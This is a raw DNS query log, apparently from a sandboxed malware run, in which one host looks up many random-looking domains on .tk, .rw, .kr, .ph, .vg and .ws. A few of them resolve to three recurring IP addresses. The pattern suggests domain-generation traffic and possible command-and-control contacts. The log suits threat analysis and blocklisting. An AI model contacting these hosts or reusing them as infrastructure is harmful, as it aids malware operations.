Sep 8, 2024 08:41:55.615066051 CEST	1.1.1.1	192.168.2.5	0x46b7	Name error (3)	pncalcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:56.348526001 CEST	1.1.1.1	192.168.2.5	0x6756	Name error (3)	qrisq.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:56.949251890 CEST	1.1.1.1	192.168.2.5	0xfe1a	Name error (3)	qrisq.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.076343060 CEST	1.1.1.1	192.168.2.5	0x78f3	Name error (3)	sbauaycnt.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.092345953 CEST	1.1.1.1	192.168.2.5	0x3860	Name error (3)	sbauaycnt.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.499145031 CEST	1.1.1.1	192.168.2.5	0x5216	Name error (3)	isegw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.499161959 CEST	1.1.1.1	192.168.2.5	0x5216	Name error (3)	isegw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:57.523106098 CEST	1.1.1.1	192.168.2.5	0x743d	Name error (3)	isegw.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:58.271008015 CEST	1.1.1.1	192.168.2.5	0xa9a9	Name error (3)	qhfcwsu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:58.271023989 CEST	1.1.1.1	192.168.2.5	0xa9a9	Name error (3)	qhfcwsu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:58.919974089 CEST	1.1.1.1	192.168.2.5	0xdf8b	Name error (3)	qhfcwsu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:41:59.491280079 CEST	1.1.1.1	192.168.2.5	0xcabf	No error (0)	xyumagcja.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:00.657181978 CEST	1.1.1.1	192.168.2.5	0x6b37	No error (0)	wwemigepcoiz.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:01.818346024 CEST	1.1.1.1	192.168.2.5	0x4a4c	No error (0)	iopqq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:02.989109039 CEST	1.1.1.1	192.168.2.5	0x4507	Name error (3)	jgrqg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:03.074382067 CEST	1.1.1.1	192.168.2.5	0x5a50	Name error (3)	jgrqg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:03.193356991 CEST	1.1.1.1	192.168.2.5	0x1c01	No error (0)	idsos.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.648530006 CEST	1.1.1.1	192.168.2.5	0x43af	Name error (3)	mlgxhacwvfbi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:04.648549080 CEST	1.1.1.1	192.168.2.5	0x43af	Name error (3)	mlgxhacwvfbi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.149888992 CEST	1.1.1.1	192.168.2.5	0x8b07	Name error (3)	mlgxhacwvfbi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.149902105 CEST	1.1.1.1	192.168.2.5	0x8b07	Name error (3)	mlgxhacwvfbi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.423711061 CEST	1.1.1.1	192.168.2.5	0x220e	Name error (3)	wmksk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.602977991 CEST	1.1.1.1	192.168.2.5	0x5261	Name error (3)	wmksk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.761259079 CEST	1.1.1.1	192.168.2.5	0xb641	Name error (3)	kqkhwao.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:05.858177900 CEST	1.1.1.1	192.168.2.5	0xc046	Name error (3)	kqkhwao.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.134660959 CEST	1.1.1.1	192.168.2.5	0xca8e	Name error (3)	evcwcpb.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.308576107 CEST	1.1.1.1	192.168.2.5	0x5fd8	Name error (3)	evcwcpb.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.706873894 CEST	1.1.1.1	192.168.2.5	0xf191	Name error (3)	vknvwzsgkdafw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.709155083 CEST	1.1.1.1	192.168.2.5	0xf191	Name error (3)	vknvwzsgkdafw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:06.945561886 CEST	1.1.1.1	192.168.2.5	0x5342	Name error (3)	vknvwzsgkdafw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.305212975 CEST	1.1.1.1	192.168.2.5	0x606f	Name error (3)	arnzcgwgcpw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.476162910 CEST	1.1.1.1	192.168.2.5	0xc2c8	Name error (3)	arnzcgwgcpw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:07.820202112 CEST	1.1.1.1	192.168.2.5	0x7a76	Name error (3)	ekegloi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.071170092 CEST	1.1.1.1	192.168.2.5	0xb250	Name error (3)	ekegloi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.439884901 CEST	1.1.1.1	192.168.2.5	0x8c0e	Name error (3)	qeojgqcuumrlu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.603408098 CEST	1.1.1.1	192.168.2.5	0x23ac	Name error (3)	qeojgqcuumrlu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:08.892215967 CEST	1.1.1.1	192.168.2.5	0x9b90	Name error (3)	ywayqmkywiir.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.036973000 CEST	1.1.1.1	192.168.2.5	0xf14f	Name error (3)	ywayqmkywiir.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.524338007 CEST	1.1.1.1	192.168.2.5	0xa8ad	Name error (3)	kqciuiobe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.524358988 CEST	1.1.1.1	192.168.2.5	0xa8ad	Name error (3)	kqciuiobe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.572648048 CEST	1.1.1.1	192.168.2.5	0x25ca	Name error (3)	kqciuiobe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:09.708304882 CEST	1.1.1.1	192.168.2.5	0xa40d	No error (0)	ngkobuyadgm.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.012419939 CEST	1.1.1.1	192.168.2.5	0x9a7c	Name error (3)	uowdwhooa.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.250014067 CEST	1.1.1.1	192.168.2.5	0x751c	Name error (3)	uowdwhooa.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.398113966 CEST	1.1.1.1	192.168.2.5	0xa014	Name error (3)	yrxzinwsmcc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.880434990 CEST	1.1.1.1	192.168.2.5	0xddeb	Name error (3)	yrxzinwsmcc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:11.882481098 CEST	1.1.1.1	192.168.2.5	0xddeb	Name error (3)	yrxzinwsmcc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.030764103 CEST	1.1.1.1	192.168.2.5	0x9b76	Name error (3)	uakobwqfsn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.046324968 CEST	1.1.1.1	192.168.2.5	0x597b	Name error (3)	uakobwqfsn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.668207884 CEST	1.1.1.1	192.168.2.5	0xad2b	Name error (3)	kmicsceovzoe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.668231964 CEST	1.1.1.1	192.168.2.5	0xad2b	Name error (3)	kmicsceovzoe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:12.813029051 CEST	1.1.1.1	192.168.2.5	0x5039	Name error (3)	kmicsceovzoe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.257769108 CEST	1.1.1.1	192.168.2.5	0x605f	Name error (3)	msrkbbbmxss.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.257793903 CEST	1.1.1.1	192.168.2.5	0x605f	Name error (3)	msrkbbbmxss.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.262491941 CEST	1.1.1.1	192.168.2.5	0x605f	Name error (3)	msrkbbbmxss.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.558907032 CEST	1.1.1.1	192.168.2.5	0xc285	Name error (3)	msrkbbbmxss.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.558918953 CEST	1.1.1.1	192.168.2.5	0xc285	Name error (3)	msrkbbbmxss.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.678816080 CEST	1.1.1.1	192.168.2.5	0x4715	Name error (3)	cfmxetkiwgt.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.692527056 CEST	1.1.1.1	192.168.2.5	0x2be4	Name error (3)	cfmxetkiwgt.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:14.820498943 CEST	1.1.1.1	192.168.2.5	0xef7e	No error (0)	ykoik.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:16.117780924 CEST	1.1.1.1	192.168.2.5	0x207e	No error (0)	plgscda.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.283632040 CEST	1.1.1.1	192.168.2.5	0x16d7	Name error (3)	csohewug.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.454170942 CEST	1.1.1.1	192.168.2.5	0xdd4f	Name error (3)	csohewug.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.567846060 CEST	1.1.1.1	192.168.2.5	0xca48	Name error (3)	egmoaoutdmm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.578906059 CEST	1.1.1.1	192.168.2.5	0xfb3a	Name error (3)	egmoaoutdmm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.879350901 CEST	1.1.1.1	192.168.2.5	0x23d9	Server failure (2)	rnmkcgd.ph	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:17.890610933 CEST	1.1.1.1	192.168.2.5	0xf2ec	No error (0)	rnmkcgd.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:19.767421961 CEST	1.1.1.1	192.168.2.5	0x63e1	No error (0)	oygsg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:20.906060934 CEST	1.1.1.1	192.168.2.5	0x53a6	No error (0)	ucejh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.105460882 CEST	1.1.1.1	192.168.2.5	0xc17e	Name error (3)	ootybuwkgpef.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:22.160280943 CEST	1.1.1.1	192.168.2.5	0xed6e	Name error (3)	ootybuwkgpef.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.081931114 CEST	1.1.1.1	192.168.2.5	0x1c03	Name error (3)	aicmcvzsn.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.081950903 CEST	1.1.1.1	192.168.2.5	0x1c03	Name error (3)	aicmcvzsn.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.745301962 CEST	1.1.1.1	192.168.2.5	0xa8b3	Name error (3)	aicmcvzsn.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.745328903 CEST	1.1.1.1	192.168.2.5	0xa8b3	Name error (3)	aicmcvzsn.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:23.957998991 CEST	1.1.1.1	192.168.2.5	0x1c04	Name error (3)	hdyggmcsqtebyr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:24.206114054 CEST	1.1.1.1	192.168.2.5	0x4488	Name error (3)	hdyggmcsqtebyr.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:24.336743116 CEST	1.1.1.1	192.168.2.5	0x982e	No error (0)	gkquszao.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.137470961 CEST	1.1.1.1	192.168.2.5	0x937c	Name error (3)	nmqvzqwamexms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.137486935 CEST	1.1.1.1	192.168.2.5	0x937c	Name error (3)	nmqvzqwamexms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.982749939 CEST	1.1.1.1	192.168.2.5	0xeac9	Name error (3)	nmqvzqwamexms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:26.982773066 CEST	1.1.1.1	192.168.2.5	0xeac9	Name error (3)	nmqvzqwamexms.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.125076056 CEST	1.1.1.1	192.168.2.5	0xdb85	Name error (3)	tjvzoso.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.164606094 CEST	1.1.1.1	192.168.2.5	0x8b3c	Name error (3)	tjvzoso.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:27.289709091 CEST	1.1.1.1	192.168.2.5	0xccce	No error (0)	aqggeh.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:28.985833883 CEST	1.1.1.1	192.168.2.5	0x404b	Name error (3)	quwigcsme.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:28.985846043 CEST	1.1.1.1	192.168.2.5	0x404b	Name error (3)	quwigcsme.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.114947081 CEST	1.1.1.1	192.168.2.5	0x759d	Name error (3)	quwigcsme.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.729754925 CEST	1.1.1.1	192.168.2.5	0x88f2	Name error (3)	tsuefuygjjqw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:29.729773998 CEST	1.1.1.1	192.168.2.5	0x88f2	Name error (3)	tsuefuygjjqw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.082693100 CEST	1.1.1.1	192.168.2.5	0xe836	Name error (3)	tsuefuygjjqw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.082730055 CEST	1.1.1.1	192.168.2.5	0xe836	Name error (3)	tsuefuygjjqw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.355683088 CEST	1.1.1.1	192.168.2.5	0xe0bd	Name error (3)	yubwvmejylfk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.553800106 CEST	1.1.1.1	192.168.2.5	0x4e18	Name error (3)	yubwvmejylfk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:30.710347891 CEST	1.1.1.1	192.168.2.5	0x3e6	No error (0)	dscpiycqvwmzyy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:31.902158976 CEST	1.1.1.1	192.168.2.5	0x7a9e	Name error (3)	zkqsq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:31.958221912 CEST	1.1.1.1	192.168.2.5	0x1cbd	Name error (3)	zkqsq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.111598015 CEST	1.1.1.1	192.168.2.5	0x625e	Name error (3)	gecwicguubuio.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.149668932 CEST	1.1.1.1	192.168.2.5	0x629d	Name error (3)	gecwicguubuio.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.302639961 CEST	1.1.1.1	192.168.2.5	0xcb24	Name error (3)	cixzeubisg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.502686024 CEST	1.1.1.1	192.168.2.5	0x57ad	Name error (3)	cixzeubisg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.656759024 CEST	1.1.1.1	192.168.2.5	0xfc45	Name error (3)	wkueptqz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.666071892 CEST	1.1.1.1	192.168.2.5	0xef88	Name error (3)	wkueptqz.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:32.786653042 CEST	1.1.1.1	192.168.2.5	0x60d4	No error (0)	pwdynpushjp.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:33.913825035 CEST	1.1.1.1	192.168.2.5	0x4e6b	Name error (3)	oyiunwqqgqn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:33.942667007 CEST	1.1.1.1	192.168.2.5	0xcc34	Name error (3)	oyiunwqqgqn.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.069464922 CEST	1.1.1.1	192.168.2.5	0x3d2b	Name error (3)	ypowuio.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.109555960 CEST	1.1.1.1	192.168.2.5	0x8384	Name error (3)	ypowuio.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.496608973 CEST	1.1.1.1	192.168.2.5	0xeac3	No error (0)	qzyobaes.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:34.969507933 CEST	1.1.1.1	192.168.2.5	0x683	No error (0)	qzyobaes.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.616808891 CEST	1.1.1.1	192.168.2.5	0x4f72	Name error (3)	oqbuiyiqauknm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.642817974 CEST	1.1.1.1	192.168.2.5	0xa2e2	Name error (3)	oqbuiyiqauknm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.843978882 CEST	1.1.1.1	192.168.2.5	0x8547	Name error (3)	lmncsuraag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:36.943480015 CEST	1.1.1.1	192.168.2.5	0xd680	Name error (3)	lmncsuraag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.235958099 CEST	1.1.1.1	192.168.2.5	0x5fd6	Name error (3)	btocm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.405952930 CEST	1.1.1.1	192.168.2.5	0xd64b	Name error (3)	btocm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.527153015 CEST	1.1.1.1	192.168.2.5	0x272c	Name error (3)	cgoqalar.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.544913054 CEST	1.1.1.1	192.168.2.5	0x4762	Name error (3)	cgoqalar.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:37.672252893 CEST	1.1.1.1	192.168.2.5	0xdc9a	No error (0)	laaaryyqk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:38.984488964 CEST	1.1.1.1	192.168.2.5	0x20dc	Name error (3)	kecyzra.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.160836935 CEST	1.1.1.1	192.168.2.5	0xc751	Name error (3)	kecyzra.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.447339058 CEST	1.1.1.1	192.168.2.5	0x2536	Name error (3)	xdilosehzucu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.657829046 CEST	1.1.1.1	192.168.2.5	0x1714	Name error (3)	xdilosehzucu.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.779453993 CEST	1.1.1.1	192.168.2.5	0xad07	Name error (3)	ztoke.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.791462898 CEST	1.1.1.1	192.168.2.5	0x25e3	Name error (3)	ztoke.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:39.948250055 CEST	1.1.1.1	192.168.2.5	0x3e07	No error (0)	mqqklel.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:41.099653006 CEST	1.1.1.1	192.168.2.5	0xcaf2	No error (0)	ucuuyes.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:42.208556890 CEST	1.1.1.1	192.168.2.5	0x737b	No error (0)	siaqwowge.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:43.555399895 CEST	1.1.1.1	192.168.2.5	0x97b0	Name error (3)	awynquuygqm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:43.720360041 CEST	1.1.1.1	192.168.2.5	0x2e05	Name error (3)	awynquuygqm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.077020884 CEST	1.1.1.1	192.168.2.5	0xd808	Name error (3)	skuuqsn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.080979109 CEST	1.1.1.1	192.168.2.5	0xd808	Name error (3)	skuuqsn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.329374075 CEST	1.1.1.1	192.168.2.5	0x3d	Name error (3)	skuuqsn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.332690954 CEST	1.1.1.1	192.168.2.5	0x3d	Name error (3)	skuuqsn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:44.454427958 CEST	1.1.1.1	192.168.2.5	0x2b58	No error (0)	byfqgessikm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:45.661891937 CEST	1.1.1.1	192.168.2.5	0xbbdc	No error (0)	stivhqwg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:47.884097099 CEST	1.1.1.1	192.168.2.5	0xd070	No error (0)	yaeabom.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.253158092 CEST	1.1.1.1	192.168.2.5	0xa41e	Name error (3)	iumaqijuquoiyk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.439446926 CEST	1.1.1.1	192.168.2.5	0x391	Name error (3)	iumaqijuquoiyk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.579260111 CEST	1.1.1.1	192.168.2.5	0x74d6	Name error (3)	cucmlgnuo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.855801105 CEST	1.1.1.1	192.168.2.5	0x9f1f	Name error (3)	cucmlgnuo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:49.855885029 CEST	1.1.1.1	192.168.2.5	0x9f1f	Name error (3)	cucmlgnuo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.148510933 CEST	1.1.1.1	192.168.2.5	0x307f	Name error (3)	ghasw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.353298903 CEST	1.1.1.1	192.168.2.5	0x7b33	Name error (3)	ghasw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.506814003 CEST	1.1.1.1	192.168.2.5	0x2115	Name error (3)	qhoeke.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.555821896 CEST	1.1.1.1	192.168.2.5	0xbe1c	Name error (3)	qhoeke.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.680107117 CEST	1.1.1.1	192.168.2.5	0xaa97	No error (0)	fksip.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:51.996608973 CEST	1.1.1.1	192.168.2.5	0x5635	No error (0)	cqaksdcu.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.140371084 CEST	1.1.1.1	192.168.2.5	0xc8a7	Name error (3)	qiuejbupkgseq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.178390980 CEST	1.1.1.1	192.168.2.5	0x284a	Name error (3)	qiuejbupkgseq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.360131979 CEST	1.1.1.1	192.168.2.5	0x4a0c	Name error (3)	yioarynvt.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.459458113 CEST	1.1.1.1	192.168.2.5	0xc505	Name error (3)	yioarynvt.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.734918118 CEST	1.1.1.1	192.168.2.5	0xe40c	Name error (3)	eosjbokmzqus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.009422064 CEST	1.1.1.1	192.168.2.5	0x2f01	Name error (3)	eosjbokmzqus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.217016935 CEST	1.1.1.1	192.168.2.5	0x9299	Name error (3)	zqewkpe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.250062943 CEST	1.1.1.1	192.168.2.5	0xeb78	Name error (3)	zqewkpe.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.393234968 CEST	1.1.1.1	192.168.2.5	0x5af5	No error (0)	uclgw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:55.525419950 CEST	1.1.1.1	192.168.2.5	0x8467	No error (0)	oigamwo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.694540024 CEST	1.1.1.1	192.168.2.5	0x2fa3	Name error (3)	wssym.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.738599062 CEST	1.1.1.1	192.168.2.5	0xc409	Name error (3)	wssym.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.867016077 CEST	1.1.1.1	192.168.2.5	0xf97	No error (0)	cepgcqyuyucv.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:58.041429996 CEST	1.1.1.1	192.168.2.5	0x595e	No error (0)	xaamz.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.185580969 CEST	1.1.1.1	192.168.2.5	0xce86	Name error (3)	aapssh.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.218734980 CEST	1.1.1.1	192.168.2.5	0x9ea8	Name error (3)	aapssh.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.358273983 CEST	1.1.1.1	192.168.2.5	0xb561	Name error (3)	abdsnph.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.390022993 CEST	1.1.1.1	192.168.2.5	0x5719	Name error (3)	abdsnph.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.508742094 CEST	1.1.1.1	192.168.2.5	0x72c	No error (0)	nzxakig.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:00.823220015 CEST	1.1.1.1	192.168.2.5	0x8457	Name error (3)	xwryugzqw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:00.998929977 CEST	1.1.1.1	192.168.2.5	0xae65	Name error (3)	xwryugzqw.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.274445057 CEST	1.1.1.1	192.168.2.5	0xdc27	Name error (3)	xigocgy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.449350119 CEST	1.1.1.1	192.168.2.5	0x59c6	Name error (3)	xigocgy.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.593946934 CEST	1.1.1.1	192.168.2.5	0x574	No error (0)	chgosmq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.042160034 CEST	1.1.1.1	192.168.2.5	0xb02b	Name error (3)	kkjaozypkgge.mp	none	none	A (IP address)	IN (0x0001)	false
